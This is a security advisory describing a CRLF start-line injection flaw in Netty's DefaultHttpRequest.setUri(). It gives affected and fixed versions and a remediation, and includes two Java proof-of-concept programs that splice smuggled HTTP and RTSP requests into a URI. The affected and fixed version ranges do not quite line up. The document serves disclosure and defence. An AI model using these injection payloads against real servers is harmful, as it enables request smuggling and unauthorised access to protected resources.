# Vulnerability Summary: Start-Line Injection Caused by DefaultHttpRequest.setUri() ## Vulnerability Overview Netty allows bypassing request-line validation. When a `DefaultHttpRequest` or `DefaultFullHttpRequest` object is created, modifying the URI via the `setUri()` method does not execute the CRLF and whitespace character validation present in the constructor. This allows attackers to inject additional HTTP or RTSP requests, leading to HTTP request smuggling and RTSP request injection. ## Impact Scope - **Affected Versions**: `io.netty:netty-codec-http` < 4.2.12.Final, < 4.1.132.Final - **Fixed Versions**: 4.2.13.Final, 4.1.133.Final - **CVSS Score**: 5.3 / 10 (Moderate) - **CVE ID**: CVE-2024-41417 ## Remediation `DefaultHttpRequest.setUri()` and all its delegation/inheritance paths should apply the same request-line token validation as the constructor. ## Proof of Concept (PoC) ### HTTP Request Smuggling PoC ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglPoC { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/x1 HTTP/1.1\r\n" + "\r\n" + "POST /x2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World\r\n" + "GET /x3"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retain().duplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` ### RTSP Request Injection PoC ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglPoC { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retain().duplicate()); } } ```